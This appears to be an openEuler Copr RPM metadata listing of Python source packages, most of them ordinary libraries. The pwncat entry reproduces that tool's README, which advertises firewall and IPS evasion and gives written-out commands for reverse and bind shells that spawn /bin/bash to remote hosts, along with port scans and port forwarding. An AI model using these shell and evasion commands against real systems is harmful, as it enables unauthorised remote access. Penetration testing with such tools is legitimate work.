rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-c30da787-df52-456f-902e-9cf959fe8194
location_href: 00010221-python-publication/python-publication-0.0.3-1.src.rpm
checksum_type: sha256
summary:
  Publication helps you maintain public-api-friendly modules by preventing unintentional access to private implementation details via introspection.

description:
  Setting expectations around what APIs you can rely on in a Python
  library is very difficult.
  Publication makes it easy.


pkgId: 6afbae2b9ec7e3b20dfda985244314ea5d2e7bfa2c69b170ff022622ca9372b0
name: python-publicsuffix2
arch: src
version: 2.20191221
epoch: 0
release: 1
url: https://github.com/nexb/python-publicsuffix2
rpm_license: MIT and MPL-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-24282457-19c5-4d67-b9c0-1208ebeea402
location_href: 00010706-python-publicsuffix2/python-publicsuffix2-2.20191221-1.src.rpm
checksum_type: sha256
summary:
  Get a public suffix for a domain name using the Public Suffix List. Forked from and using the same API as the publicsuffix package.

description:
  This module allows you to get the public suffix, as well as the registrable domain,
  of a domain name using the Public Suffix List from http://publicsuffix.org
  A public suffix is a domain suffix under which you can register domain
  names, or under which the suffix owner does not control the subdomains.
  Some examples of public suffixes in the former example are ".com",
  ".co.uk" and "pvt.k12.wy.us"; examples of the latter case are "github.io" and
  "blogspot.com".  The public suffix is sometimes referred to as the effective
  or extended TLD (eTLD).
  Accurately knowing the public suffix of a domain is useful when handling
  web browser cookies, highlighting the most important part of a domain name
  in a user interface or sorting URLs by web site. It is also used in a wide range
  of research and applications that leverages Domain Name System (DNS) data.
  This module builds the public suffix list as a Trie structure, making it more efficient
  than other string-based modules available for the same purpose. It can be used
  effectively in large-scale distributed environments, such as PySpark.
  This Python module includes with a copy of the Public Suffix List (PSL) so that it is
  usable out of the box. Newer versions try to provide reasonably fresh copies of
  this list. It also includes a convenience method to fetch the latest list. The PSL does
  change regularly.
  The code is a fork of the publicsuffix package and includes the same base API. In
  addition, it contains a few variants useful for certain use cases, such as the option to
  ignore wildcards or return only the extended TLD (eTLD). You just need to import publicsuffix2 instead.
  The public suffix list is now provided in UTF-8 format. To correctly process
  IDNA-encoded domains, either the query or the list must be converted. By default, the
  module converts the PSL. If your use case includes UTF-8 domains, e.g., '食狮.com.cn',
  you'll need to set the IDNA-encoding flag to False on instantiation (see examples below).
  Failure to use the correct encoding for your use case can lead to incorrect results for
  domains that utilize unicode characters.
  The code is MIT-licensed and the publicsuffix data list is MPL-2.0-licensed.


pkgId: 731be9ae852674727643b076209c9c3b3a95cba42cac78667ef4f3365b16c784
name: python-pudb
arch: src
version: 2022.1.3
epoch: 0
release: 1
summary: A full-screen, console-based Python debugger
url: https://documen.tician.de/pudb/
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-c07f9724-971f-4258-bc3b-14abfaaf21c0
location_href: 00004612-python-pudb/python-pudb-2022.1.3-1.src.rpm
checksum_type: sha256
description:
  Its goal is to provide all the niceties of modern GUI-based debuggers in a
  more lightweight and keyboard-friendly package. PuDB allows you to debug code
  right where you write and test it--in a terminal.
  Here are some screenshots:
  * Light theme
  * Dark theme
  You may watch screencasts too:
  * `Meet Pudb, a debugger for Python code (2020) <https://www.youtube.com/watch?v=bJYkCWPs_UU>`_
  * `PuDB Intro Screencast (2009) <http://vimeo.com/5255125>`_


pkgId: 6eea26fb3221ef4601164d31e07b8ff6a284167fb468f89375d5aa03213648b3
name: python-pulsectl
arch: src
version: 22.3.2
epoch: 0
release: 1
summary: Python high-level interface and ctypes-based bindings for PulseAudio (libpulse)
url: http://github.com/mk-fg/python-pulse-control
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-4c326396-5016-4217-aea9-82c3f3b6475b
location_href: 00004613-python-pulsectl/python-pulsectl-22.3.2-1.src.rpm
checksum_type: sha256
description:
  Python (3.x and 2.x) blocking high-level interface and ctypes-based bindings
  for PulseAudio_ (libpulse), to use in a simple synchronous code.
  Wrappers are mostly for mixer-like controls and introspection-related operations,
  as opposed to e.g. submitting sound samples to play and player-like client.
  For async version to use with asyncio_, see `pulsectl-asyncio`_ project instead.
  Originally forked from pulsemixer_ project, which had this code bundled.
  |


pkgId: 7c6396f11361f0f47ed83afd5ffae823c80f027151fc54ce7e1f83692628c650
name: python-pure-sasl
arch: src
version: 0.6.2
epoch: 0
release: 1
summary: Pure Python client SASL implementation
url: http://github.com/thobbs/pure-sasl
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-95a22ea7-2e96-409f-91a3-10cb1b9cc757
location_href: 00009758-python-pure-sasl/python-pure-sasl-0.6.2-1.src.rpm
checksum_type: sha256
description:
  This package provides a reasonably high-level SASL client written
  in pure Python.  New mechanisms may be integrated easily, but by default,
  support for PLAIN, ANONYMOUS, EXTERNAL, CRAM-MD5, DIGEST-MD5, and GSSAPI are
  provided.


pkgId: 01c7f901d8badd197680e6afb6c36e4fa6152c0bb1c440fca2202001dbff7562
name: python-puremagic
arch: src
version: 1.15
epoch: 0
release: 1
summary: Pure python implementation of magic file detection
url: https://github.com/cdgriffith/puremagic
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-0e93a7bf-7a02-4879-a6b8-ea79640238e8
location_href: 00012402-python-puremagic/python-puremagic-1.15-1.src.rpm
checksum_type: sha256
description:
  puremagic is a pure python module that will identify a file based off
  it's magic numbers.
  |CoverageStatus| |License| |PyPi|
  It is designed to be minimalistic and inherently cross platform
  compatible. It is also designed to be a stand in for python-magic, it
  incorporates the functions from\_file(filename[, mime]) and
  from\_string(string[, mime]) however the magic\_file() and
  magic\_string() are more powerful and will also display confidence and
  duplicate matches.
  It does NOT try to match files off non-magic string. In other words it
  will not search for a string within a certain window of bytes like
  others might.
  Advantages over using a wrapper for 'file' or 'libmagic':
  -  Faster
  -  Lightweight
  -  Cross platform compatible
  -  No dependencies
  Disadvantages:
  -  Does not have as many file types
  -  No multilingual comments
  -  Duplications due to small or reused magic numbers
  (Help fix the first two disadvantages by contributing!)
  Compatibility
  ~~~~~~~~~~~~~
  -  Python 3.7+
  -  Pypy
  Using travis-ci to run continuous integration tests on listed platforms.


pkgId: a49312be344f00458923040b3d15e941eff5be3b4f603d888adf51ad4794363e
name: python-pvc
arch: src
version: 0.3.0
epoch: 0
release: 1
summary: Python vSphere Client with a dialog(1) interface
url: https://github.com/dnaeon/pvc
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-45dd1b39-6401-413c-aa10-883e9716ba66
location_href: 00004616-python-pvc/python-pvc-0.3.0-1.src.rpm
checksum_type: sha256
description:
  PVC is an interactive text-mode VMware vSphere Client with a
  `dialog(1)`_ interface for GNU/Linux systems built on top of the
  `pyVmomi`_ VMware vSphere API Python bindings.
  Using PVC allows you to quickly navigate in your VMware vSphere
  environment and perform common tasks against various VMware vSphere
  Managed Entities.
  PVC is Open Source and licensed under the `BSD License`_.


pkgId: 8049e4cd96f6eb81627f650050c8e2e630158ec9bfb05dc3635cc29d96f99b06
name: python-pwlf
arch: src
version: 2.2.1
epoch: 0
release: 1
summary: fit piecewise linear functions to data
url: https://github.com/cjekel/piecewise_linear_fit_py
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-0b3504a6-9bbe-4a5d-842c-3f2f3b368d7e
location_href: 00010235-python-pwlf/python-pwlf-2.2.1-1.src.rpm
checksum_type: sha256
description:
  A library for fitting continuous piecewise linear functions to data.
  Just specify the number of line segments you desire and provide the
  data.
  |Downloads a month| |pwlf ci| |codecov| |PyPI version| |Conda|
  Check out the
  `documentation <https://jekel.me/piecewise_linear_fit_py>`__!
  Read the `blog
  post <http://jekel.me/2017/Fit-a-piecewise-linear-function-to-data/>`__.
     Example of a continuous piecewise linear fit to data.
     Example of a continuous piecewise linear fit to a sine wave.
  Now you can perform segmented constant fitting and piecewise
  polynomials! |Example of multiple degree fits to a sine wave.|


pkgId: 720d786c34f5f9deddaed4bd23d6a86779dd086a3809a9caaf6a4db200ab1791
name: python-pwncat
arch: src
version: 0.1.2
epoch: 0
release: 1
url: https://pwncat.org/
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ddd87397-bb28-42d3-b3ca-94160cc73a35
location_href: 00004617-python-pwncat/python-pwncat-0.1.2-1.src.rpm
checksum_type: sha256
summary:
  Netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell and port forwarding magic - and its  fully scriptable with Python (PSE).

description:
  <center><img alt="pwncat banner" title="pwncat" src="art/banner-1.png" style=""/></center>

  [![](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black)
  [![Documentation Status](https://readthedocs.org/projects/pwn-cat/badge/?version=latest)](https://docs.pwncat.org/en/latest/?badge=latest)
  [![PyPI](https://img.shields.io/pypi/v/pwncat)](https://pypi.org/project/pwncat/)
  [![PyPI - Status](https://img.shields.io/pypi/status/pwncat)](https://pypi.org/project/pwncat/)
  [![PyPI - Python Version](https://img.shields.io/pypi/pyversions/pwncat)](https://pypi.org/project/pwncat/)
  [![PyPI - Format](https://img.shields.io/pypi/format/pwncat)](https://pypi.org/project/pwncat/)
  [![PyPI - Implementation](https://img.shields.io/pypi/implementation/pwncat)](https://pypi.org/project/pwncat/)
  [![PyPI - License](https://img.shields.io/pypi/l/pwncat)](https://pypi.org/project/pwncat/)
  [![Build Status](https://github.com/cytopia/pwncat/workflows/linting/badge.svg)](https://github.com/cytopia/pwncat/actions?workflow=linting)
  [![Build Status](https://github.com/cytopia/pwncat/workflows/building/badge.svg)](https://github.com/cytopia/pwncat/actions?workflow=building)
  > &nbsp;
  > #### Netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic - and its fully scriptable with Python ([PSE](pse/)). - [docs.pwncat.org](https://docs.pwncat.org)
  > &nbsp;
  <table border="0" cellpadding="0" cellspacing="0" style="border-collapse:collapse; border:none;">
   <thead>
    <tr valign="top" border="0" cellpadding="0" cellspacing="0" style="border:none;">
     <th border="0" cellpadding="0" cellspacing="0" style="border:none;">Code Style</td>
     <th border="0" cellpadding="0" cellspacing="0" style="border:none;"></td>
     <th border="0" cellpadding="0" cellspacing="0" style="border:none;">Integration Tests <sup><small>[2]</small></sup></td>
    </tr>
   </thead>
   <tbody>
    <tr valign="top" border="0" cellpadding="0" cellspacing="0" style="border:none;">
     <td border="0" cellpadding="0" cellspacing="0" style="border:none;">
      <table>
       <thead>
        <tr>
         <th>Styler</th>
         <th>Status</th>
        </tr>
       </thead>
       <tbody>
        <tr>
         <td><a href="https://github.com/psf/black">Black</a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=black"><img src="https://github.com/cytopia/pwncat/workflows/black/badge.svg" /></a></td>
        </tr>
        <tr>
         <td><a href="https://github.com/python/mypy">mypy</a> <sup><small>[1]</small></sup></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mypy"><img src="https://github.com/cytopia/pwncat/workflows/mypy/badge.svg" /></a></td>
        </tr>
        <tr>
         <td><a href="https://github.com/PyCQA/pycodestyle">pycodestyle</a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=pycode"><img src="https://github.com/cytopia/pwncat/workflows/pycode/badge.svg" /></a></td>
        </tr>
        <tr>
         <td><a href="https://github.com/PyCQA/pydocstyle">pydocstyle</a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=pydoc"><img src="https://github.com/cytopia/pwncat/workflows/pydoc/badge.svg" /></a></td>
        </tr>
        <tr>
         <td><a href="https://github.com/PyCQA/pylint">pylint</a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=pylint"><img src="https://github.com/cytopia/pwncat/workflows/pylint/badge.svg" /></a></td>
        </tr>
       </tbody>
      </table>
     </td>
     <td border="0" cellpadding="0" cellspacing="0" style="border:none;"></td>
     <td border="0" cellpadding="0" cellspacing="0" style="border:none;">
      <table>
       <thead>
        <tr>
         <th><sub>Python</sub><sup>OS</sup></th>
         <th>Linux</th>
         <th>MacOS</th>
         <th>Windows</th>
        </tr>
       </thead>
       <tbody>
        <tr>
         <th>2.7</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-2.7"><img src="https://github.com/cytopia/pwncat/workflows/ubu-2.7/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-2.7"><img src="https://github.com/cytopia/pwncat/workflows/mac-2.7/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-2.7"><img src="https://github.com/cytopia/pwncat/workflows/win-2.7/badge.svg" /></a></td>
        </tr>
        <tr>
         <th>3.5</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-3.5"><img src="https://github.com/cytopia/pwncat/workflows/ubu-3.5/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-3.5"><img src="https://github.com/cytopia/pwncat/workflows/mac-3.5/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-3.5"><img src="https://github.com/cytopia/pwncat/workflows/win-3.5/badge.svg" /></a></td>
        </tr>
        <tr>
         <th>3.6</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-3.6"><img src="https://github.com/cytopia/pwncat/workflows/ubu-3.6/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-3.6"><img src="https://github.com/cytopia/pwncat/workflows/mac-3.6/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-3.6"><img src="https://github.com/cytopia/pwncat/workflows/win-3.6/badge.svg" /></a></td>
        </tr>
        <tr>
         <th>3.7</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-3.7"><img src="https://github.com/cytopia/pwncat/workflows/ubu-3.7/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-3.7"><img src="https://github.com/cytopia/pwncat/workflows/mac-3.7/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-3.7"><img src="https://github.com/cytopia/pwncat/workflows/win-3.7/badge.svg" /></a></td>
        </tr>
        <tr>
         <th>3.8</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-3.8"><img src="https://github.com/cytopia/pwncat/workflows/ubu-3.8/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-3.8"><img src="https://github.com/cytopia/pwncat/workflows/mac-3.8/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-3.8"><img src="https://github.com/cytopia/pwncat/workflows/win-3.8/badge.svg" /></a></td>
        </tr>
        <tr>
         <th>pypy2</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-py2"><img src="https://github.com/cytopia/pwncat/workflows/ubu-py2/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-py2"><img src="https://github.com/cytopia/pwncat/workflows/mac-py2/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-py2"><img src="https://github.com/cytopia/pwncat/workflows/win-py2/badge.svg" /></a></td>
        </tr>
        <tr>
         <th>pypy3</th>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=ubu-py3"><img src="https://github.com/cytopia/pwncat/workflows/ubu-py3/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=mac-py3"><img src="https://github.com/cytopia/pwncat/workflows/mac-py3/badge.svg" /></a></td>
         <td><a href="https://github.com/cytopia/pwncat/actions?workflow=win-py3"><img src="https://github.com/cytopia/pwncat/workflows/win-py3/badge.svg" /></a></td>
        </tr>
       </tbody>
      </table>
     </td>
    </tr>
   </tbody>
  </table>
  > <sup>[1] <a href="https://cytopia.github.io/pwncat/pwncat.type.html">mypy type coverage</a> <strong>(fully typed: 94.00%)</strong></sup><br/>
  > <sup>[2] <strong>Failing builds do not indicate broken functionality.</strong> Integration tests run for multiple hours and break sporadically for various different reasons (network timeouts, unknown cancellations of GitHub Actions, etc): <a href="https://github.com/actions/virtual-environments/issues/736">#735</a>, <a href="https://github.com/actions/virtual-environments/issues/841">#841</a></sup><br/>
  > <sup></sup>

  Ever accidentally hit <kbd>Ctrl</kbd>+<kbd>c</kbd> on your reverse shell and it was gone for good?
  Ever waited forever for your client to connect back to you, because the Firewall didn't let it out?
  Ever had a connection loss because an IPS closed suspicious ports?
  Ever were in need of a quick port forwarding?<br/>
  > **This one got you covered.**
  Apart from that the current features of `nc`, `ncat` or `socat` just didn't feed my needs and I also wanted to have a single
  tool that works on older and newer machines (hence Python 2+3 compat). Most importantly I wanted to have it in a language that I can understand and provide my own features with.
  (Wait for it, binary releases for Linux, MacOS and Windows will come shortly).

  | Pwncat docs     | Link |
  |:----------------|:-----|
  | Official documentation | [https://docs.pwncat.org](https://docs.pwncat.org) |
  | Official website | [https://pwncat.org](https://pwncat.org) |
  | API documentation | [https://pwncat.org/pwncat.api.html](https://pwncat.org/pwncat.api.html) |
  | Pwncat Scripting Engine | [PSE](https://github.com/cytopia/pwncat/tree/master/pse) |

  Current version is: **0.1.2**

  | [Pip](https://pypi.org/project/pwncat/) |
  |:-:|
  | [![](https://raw.githubusercontent.com/cytopia/icons/master/64x64/python.png)](https://pypi.org/project/pwncat/) |
  | `pip install pwncat` |

  | **[MacOS][mac_lnk]**         | **[Arch Linux][arch_lnk]**   | **[BlackArch][barch_lnk]**         | **[CentOS][centos_lnk]**<sup>[1]</sup>       |
  |:----------------------------:|:----------------------------:|:----------------------------------:|:--------------------------------------------:|
  | [![mac_img]][mac_lnk]        | [![arch_img]][arch_lnk]      | [![barch_img]][barch_lnk]          | [![centos_img]][centos_lnk]                  |
  | `brew install pwncat`        | `yay -S pwncat`              | `pacman -S pwncat`                 | `yum install pwncat`                         |
  | **[Fedora][fedora_lnk]**     | **[Kali Linux][kali_lnk]**   | **[NixOS][nix_lnk]<sup>[2]</sup>** | **[Oracle Linux][oracle_lnk]<sup>[1]</sup>** |
  | [![fedora_img]][fedora_lnk]  | [![kali_img]][kali_lnk]      | [![nix_img]][nix_lnk]              | [![oracle_img]][oracle_lnk]                  |
  |  `dnf install pwncat`        | `apt install pwncat`         | `nixos.pwncat`                     | `yum install pwncat`                         |
  | **[Pentoo][pentoo_lnk]**     |  **[Parrot OS][parrot_lnk]** |
  | [![pentoo_img]][pentoo_lnk]  | [![parrot_img]][parrot_lnk]  |
  |  `net-analyzer/pwncat`       | `apt install pwncat`         |
  > <sup>[1]: Epel repository</sup><br/>
  > <sup>[2]: Unstable</sup>
  [mac_lnk]: https://formulae.brew.sh/formula/pwncat#default
  [mac_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/osx.png
  [arch_lnk]: https://aur.archlinux.org/packages/pwncat/
  [arch_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/archlinux.png
  [barch_lnk]: https://www.blackarch.org/tools.html
  [barch_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/blackarch.png
  [centos_lnk]: https://pkgs.org/download/pwncat
  [centos_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/centos.png
  [fedora_lnk]: https://src.fedoraproject.org/rpms/pwncat
  [fedora_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/fedora.png
  [kali_lnk]: https://gitlab.com/kalilinux/packages/pwncat
  [kali_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/kali.png
  [nix_lnk]: https://search.nixos.org/packages?channel=unstable&query=pwncat
  [nix_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/nixos.png
  [oracle_lnk]: https://yum.oracle.com/repo/OracleLinux/OL8/developer/EPEL/x86_64/index.html
  [oracle_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/oracle-linux.png
  [parrot_lnk]: https://repology.org/project/pwncat/versions
  [parrot_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/parrot.png
  [pentoo_lnk]: https://repology.org/project/pwncat/versions
  [pentoo_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/pentoo.png

  This is just a quick get-you-started overview. For more advanced techniques see **[:computer: Usage](#computer-usage)** or **[:bulb: Examples](#bulb-examples)**.

  <table>
   <tr>
    <td widht="50%" style="text-align:center;">
     <a href="https://www.youtube.com/watch?v=lN10hgl_Ts8&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2&t=0s">unbreakable reverse shells - how to spawn</a><br/><br/>
     <a href="https://www.youtube.com/watch?v=lN10hgl_Ts8&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2&t=0s"><img src="docs/img/video01.png" /></a>
    </td>
    <td widht="50%" style="text-align:center;">
     <a href="https://www.youtube.com/watch?v=VQyFoUG18WY&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2">unbreakable reverse shells - multiple shells</a><br/><br/>
     <a href="https://www.youtube.com/watch?v=VQyFoUG18WY&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2"><img src="docs/img/video02.png" /></a>
    </td>
   </tr>
  </table>

  ```bash

  curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64

  echo "<BASE64 STRING>" | base64 -d > pwncat
  chmod +x pwncat
  ```

  ```bash




  pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445
  ```
  > <sup>[1] [Read in more detail about self-injection](#self-injecting-reverse-shell)

  ```bash

  pwncat -l -e '/bin/bash' 8080 -k
  ```
  ```bash

  pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
  ```
  ```bash

  pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1
  ```

  ```bash

  pwncat -z 10.0.0.1 80,443,8080
  pwncat -z 10.0.0.1 1-65535
  pwncat -z 10.0.0.1 1+1023

  pwncat -z 10.0.0.1 80,443,8080 -u
  pwncat -z 10.0.0.1 1-65535 -u
  pwncat -z 10.0.0.1 1+1023 -u

  pwncat -z 10.0.0.1 1-65535 -4
  pwncat -z 10.0.0.1 1-65535 -6 -u

  pwncat -z 10.0.0.1 1-65535 --banner
  ```

  ```bash


  pwncat -L 0.0.0.0:5000 everythingcli.org 3306
  ```
  ```bash

  pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u
  ```

  ```bash


  pwncat -R 10.0.0.1:4444 everythingcli.org 3306
  ```
  ```bash

  pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u
  ```
  > <sub>[SSH Tunnelling for fun and profit :link:](https://www.everythingcli.org/ssh-tunnelling-for-fun-and-profit-local-vs-remote/)</sub><br/>
  > <sub>[`pwncat` example: Port forwarding magic](#port-forwarding-magic)<sub>


  `pwncat` has many features, below is only a list of outstanding characteristics.
  | Feature        | Description |
  |----------------|-------------|
  | [PSE](pse)        | Fully scriptable with Pwncat Scripting Engine to allow all kinds of fancy stuff on send and receive |
  | port scanning  | TCP und UDP port scanning with basic version detection support |
  | Self-injecting rshell | Self-injecting mode to deploy itself and start an unbreakable reverse shell back to you automatically |
  | Bind shell        | Create bind shells |
  | Reverse shell     | Create reverse shells |
  | Port Forward      | Local and remote port forward (Proxy server/client) |
  | <kbd>Ctrl</kbd>+<kbd>c</kbd> | Reverse shell can reconnect if you accidentally hit <kbd>Ctrl</kbd>+<kbd>c</kbd> |
  | Detect Egress     | Scan and report open egress ports on the target (port hopping) |
  | Evade FW          | Evade egress firewalls by round-robin outgoing ports (port hopping) |
  | Evade IPS         | Evade Intrusion Prevention Systems by being able to round-robin outgoing ports on connection interrupts (port hopping) |
  | UDP rev shell     | Try this with the traditional `netcat` |
  | Stateful UDP      | Stateful connect phase for UDP client mode |
  | TCP / UDP         | Full TCP and UDP support |
  | IPv4 / IPv6       | Dual or single stack IPv4 and IPv6 support |
  | Python 2+3        | Works with Python 2, Python 3, pypy2 and pypy3 |
  | Cross OS          | Work on Linux, MacOS and Windows as long as Python is available |
  | Compatability     | Use the `netcat`, `ncat` or `socat` as a client or server together with `pwncat` |
  | Portable          | Single file which only uses core packages - no external dependencies required. |

  |                     | pwncat   | netcat | ncat  | socat |
  |---------------------|----------|--------|-------|-------|
  | Scripting engine    | ✔ Python | :x:    | ✔ Lua | :x:   |
  |                     |          |        |       |       |
  | IP ToS              | ✔        | ✔      | :x:   | ✔     |
  | IPv4                | ✔        | ✔      | ✔     | ✔     |
  | IPv6                | ✔        | ✔      | ✔     | ✔     |
  | Unix domain sockets | :x:      | ✔      | ✔     | ✔     |
  | Linux vsock         | :x:      | :x:    | ✔     | :x:   |
  | Socket source bind  | ✔        | ✔      | ✔     | ✔     |
  |                     |          |        |       |       |
  | TCP                 | ✔        | ✔      | ✔     | ✔     |
  | UDP                 | ✔        | ✔      | ✔     | ✔     |
  | SCTP                | :x:      | :x:    | ✔     | ✔     |
  | SSL                 | :x:      | :x:    | ✔     | ✔     |
  | HTTP                | ✔        | :x:    | :x:   | :x:   |
  | HTTPS               | *        | :x:    | :x:   | :x:   |
  |                     |          |        |       |       |
  | Telnet negotiation  | :x:      | ✔      | ✔     | :x:   |
  | Proxy support       | :x:      | ✔      | ✔     | ✔     |
  | Local port forward  | ✔        | :x:    | :x:   | ✔     |
  | Remote port forward | ✔        | :x:    | :x:   | :x:   |
  |                     |          |        |       |       |
  | Inbound port scan   | ✔        | ✔      | ✔     | :x:   |
  | Outbound port scan  | ✔        | :x:    | :x:   | :x:   |
  | Version detection   | ✔        | :x:    | :x:   | :x:   |
  |                     |          |        |       |       |
  | Chat                | ✔        | ✔      | ✔     | ✔     |
  | Command execution   | ✔        | ✔      | ✔     | ✔     |
  | Hex dump            | *        | ✔      | ✔     | ✔     |
  | Broker              | :x:      | :x:    | ✔     | :x:   |
  | Simultaneous conns  | :x:      | :x:    | ✔     | ✔     |
  | Allow/deny          | :x:      | :x:    | ✔     | ✔     |
  | Re-accept           | ✔        | ✔      | ✔     | ✔     |
  | Self-injecting      | ✔        | :x:    | :x:   | :x:   |
  | UDP reverse shell   | ✔        | :x:    | :x:   | :x:   |
  | Respawning client   | ✔        | :x:    | :x:   | :x:   |
  | Port hopping        | ✔        | :x:    | :x:   | :x:   |
  | Emergency shutdown  | ✔        | :x:    | :x:   | :x:   |
  > <sup>`*` Feature is currently under development.

  Like the original implementation of `netcat`, when using **TCP**, `pwncat`
  (in client and listen mode) will automatically quit, if the network connection has been terminated,
  properly or improperly.
  In case the remote peer does not terminate the connection, or in **UDP** mode, `netcat` and `pwncat` will stay open. The behaviour differs a bit when STDIN is closed.
  1. `netcat`: If STDIN is closed, but connection stays open, `netcat` will stay open
  2. `pwncat`: If STDIN is closed, but connection stays open, `pwncat` will close
  You can emulate the `netcat` behaviour with `--no-shutdown` command line argument.
  Have a look at the following commands to better understand this behaviour:
  ```bash

  printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80

  printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 --no-shutdown
  ```
  ```bash

  printf "GET / \n\n" | pwncat www.google.com 80
  ```
  ```bash


  pwncat -l 4444 > output.txt
  pwncat localhost 4444 < input.txt




  pwncat -l 4444 --no-shutdown > output.txt
  pwncat localhost 4444 --no-shutdown < input.txt
  ```
  Be advised that it is not reliable to send files via UDP
  ```bash




  pwncat -u -l 4444 > output.txt
  pwncat -u localhost 4444 < input.txt
  ```
  There are many ways to alter this default behaviour. Have a look at the [usage](#computer-usage)
  section for more advanced settings.


  | Behaviour      | ![Alt][Linux] | ![Alt][MacOS] | ![Alt][Windows] |
  |----------------|---------------|---------------|-----------------|
  | Quit (SIGINT)  | <kbd>Ctrl</kbd>+<kbd>c</kbd>  | <kbd>Ctrl</kbd>+<kbd>c</kbd> | <kbd>Ctrl</kbd>+<kbd>c</kbd> |
  | Quit (SIGQUIT) | <kbd>Ctrl</kbd>+<kbd>\\</kbd> | ? | ? |
  | Quit (SIGQUIT) | <kbd>Ctrl</kbd>+<kbd>4</kbd>  | ? | ? |
  | Quit STDIN<sup>[1]</sup> | <kbd>Ctrl</kbd>+<kbd>d</kbd>  | <kbd>Ctrl</kbd>+<kbd>d</kbd> | <kbd>Ctrl</kbd>+<kbd>z</kbd> and <kbd>Ctrl</kbd>+<kbd>Enter</kbd> |
  | Send (NL)      | <kbd>Ctrl</kbd>+<kbd>j</kbd>  | ? | ? |
  | Send (EOL)     | <kbd>Ctrl</kbd>+<kbd>m</kbd>  | ? | ? |
  | Send (EOL)     | <kbd>Enter</kbd>              | <kbd>Enter</kbd> | <kbd>Enter</kbd> |
  > <sup>[1] Only works when not using `--no-shutdown` and `--keep`. Will then shutdown it's socket for sending, signaling the remote end and EOF on its socket.</sup>
  [Linux]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/linux.png "Linux"
  [MacOS]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/osx.png "MacOS"
  [Windows]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/windows.png "Windows"

  Type `pwncat -h` or click below to see all available options.
  <details>
    <summary><strong>Click here to expand usage</strong></summary>
  ```
  usage: pwncat [options] hostname port
         pwncat [options] -l [hostname] port
         pwncat [options] -z hostname port
         pwncat [options] -L [addr:]port hostname port
         pwncat [options] -R addr:port hostname port
         pwncat -V, --version
         pwncat -h, --help
